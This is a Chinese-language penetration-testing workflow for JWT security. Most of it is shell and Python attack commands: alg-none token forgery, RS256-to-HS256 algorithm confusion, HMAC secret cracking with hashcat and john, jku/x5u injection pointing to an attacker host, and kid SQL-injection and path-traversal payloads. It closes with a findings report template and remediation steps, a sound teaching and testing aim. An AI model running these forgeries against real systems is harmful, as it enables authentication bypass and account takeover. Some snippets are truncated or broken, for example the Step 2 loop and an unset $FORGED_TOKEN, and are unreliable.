| name | testing-jwt-token-security |
| description | 在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","jwt","authentication","web-security","token-security","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
测试 JWT 令牌安全性
适用场景
- 在授权的渗透测试中,目标应用程序使用 JWT 进行认证或授权时
- 评估 API 安全性,JWT 作为 Bearer 令牌或在 Cookie 中传递时
- 评估使用 JWT/JWS/JWE 令牌的 SSO 实现时
- 测试颁发 JWT 的 OAuth 2.0 或 OpenID Connect 流程时
- 对使用 JWT 进行服务间认证的微服务架构进行安全审计时
前置条件
- 授权:针对目标的书面渗透测试协议
- jwt_tool:JWT 攻击工具包(
pip install jwt_tool 或 git clone https://github.com/ticarpi/jwt_tool.git)
- Burp Suite Professional:安装了 BApp Store 中的 JSON Web Token 扩展
- Python PyJWT:用于编写自定义 JWT 攻击脚本(
pip install pyjwt)
- Hashcat:用于暴力破解 HMAC 密钥(
apt install hashcat)
- jq:用于 JSON 处理
- 目标 JWT:来自应用程序的有效 JWT 令牌
工作流程
步骤 1:解码并分析 JWT 结构
提取并检查头部(Header)、载荷(Payload)和签名(Signature)组件。
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
python3 jwt_tool.py "$JWT"
步骤 2:测试算法 None 攻击
尝试通过将算法设置为 "none" 来伪造令牌。
python3 jwt_tool.py "$JWT" -X a
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "伪造的 JWT: $FORGED_JWT"
curl -s -H "Authorization: Bearer $FORGED_JWT" \
"https://target.example.com/api/admin/users" | jq .
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=: "
curl -s -o /dev/null -w \
-H \
步骤 3:测试算法混淆(RS256 到 HS256)
如果服务器使用 RS256,尝试切换到 HS256 并用公钥签名。
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
python3 << 'PYEOF'
import jwt
import json
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"伪造令牌: {forged_token}")
PYEOF
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
"https://target.example.com/api/admin/users"
步骤 4:暴力破解 HMAC 密钥
如果使用 HS256,尝试破解签名密钥。
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
python3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"伪造令牌: {token}")
PYEOF
步骤 5:测试 JWT 声明篡改和注入
修改 JWT 声明以提升权限或绕过授权。
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
-pc role -pv admin
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
-pc sub -pv "admin@target.com" \
-pc role -pv "superadmin"
步骤 6:测试令牌生命周期和吊销
评估令牌过期强制执行和吊销能力。
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"过期令牌: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"长期有效令牌: {long_lived}")
PYEOF
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
核心概念
| 概念 | 描述 |
|---|
| 算法 None 攻击 | 通过将 alg 设置为 none 来绕过签名验证 |
| 算法混淆 | 从 RS256 切换到 HS256,并用公钥作为 HMAC 密钥签名 |
| HMAC 暴力破解 | 使用词表或暴力破解方式破解弱 HS256 签名密钥 |
| JKU/x5u 注入 | 将 JWT 头部 URL 指向攻击者控制的密钥服务器 |
| KID 注入 | 利用密钥 ID 头部参数中的 SQL 注入或路径遍历 |
| 声明篡改 | 在攻破签名密钥后修改载荷声明(role、sub、permissions) |
| 令牌吊销 | 在令牌过期前使其失效的能力(或缺乏该能力) |
| JWE 与 JWS | JSON Web 加密(JWE,保密性)与 JSON Web 签名(JWS,完整性)的区别 |
工具与系统
| 工具 | 用途 |
|---|
| jwt_tool | 带自动化攻击模块的全面 JWT 测试工具包 |
| Burp JWT Editor | 用于实时 JWT 操纵的 Burp Suite 扩展 |
| Hashcat | GPU 加速的 HMAC 密钥暴力破解(模式 16500) |
| John the Ripper | 基于 CPU 的 JWT 密钥破解 |
| PyJWT | 用于编程式 JWT 创建和操纵的 Python 库 |
| jwt.io | JWT 在线解码器,可快速分析(请勿粘贴生产环境令牌) |
常见场景
场景 1:算法 None 绕过
JWT 库接受 "alg":"none" 的令牌,任何用户只需移除签名并修改算法头部即可伪造管理员令牌。
场景 2:弱 HMAC 密钥
应用程序使用 HS256 算法,且签名密钥为字典单词。Hashcat 在几分钟内破解密钥,实现完全的令牌伪造和管理员冒充。
场景 3:SSO 中的算法混淆
SSO 提供方使用 RS256,但消费方应用程序也接受 HS256。攻击者使用公开可用的 RSA 公钥通过 HS256 对伪造令牌签名。
场景 4:KID SQL 注入
kid 头部参数用于 SQL 查询中查找签名密钥。注入 ' UNION SELECT 'attacker_secret' -- 使攻击者能控制签名密钥。
输出格式
## JWT 安全发现
**漏洞类型**: JWT 算法混淆(RS256 到 HS256)
**严重级别**: 严重(CVSS 9.8)
**位置**: 所有 API 端点的 Authorization 头
**OWASP 类别**: A02:2021 - 密码学失效
### JWT 配置
| 属性 | 值 |
|------|-----|
| 算法 | RS256(同时接受 HS256) |
| 颁发方 | auth.target.example.com |
| 过期时间 | 24 小时 |
| 公钥 | 可在 /.well-known/jwks.json 获取 |
| 吊销机制 | 未实现 |
### 已确认的攻击
| 攻击方式 | 结果 |
|---------|------|
| 算法 None | 已拦截 |
| 算法混淆(RS256→HS256) | 存在漏洞 |
| HMAC 暴力破解 | 不适用(RSA) |
| KID 注入 | 不存在 |
| 已过期令牌重用 | 已接受(无吊销机制) |
### 影响
- 通过伪造管理员令牌完全绕过认证
- 任何用户均可通过伪造 JWT 声明提升至任意角色
- 注销后令牌仍有效(无服务器端吊销)
### 修复建议
1. 在服务器端强制执行算法白名单(拒绝意外的算法)
2. 使用非对称算法(RS256/ES256)并妥善管理密钥
3. 通过黑名单或短期过期配合刷新令牌机制实现令牌吊销
4. 服务器端验证所有 JWT 声明(iss、aud、exp、nbf)
5. HMAC 密钥长度至少为 256 位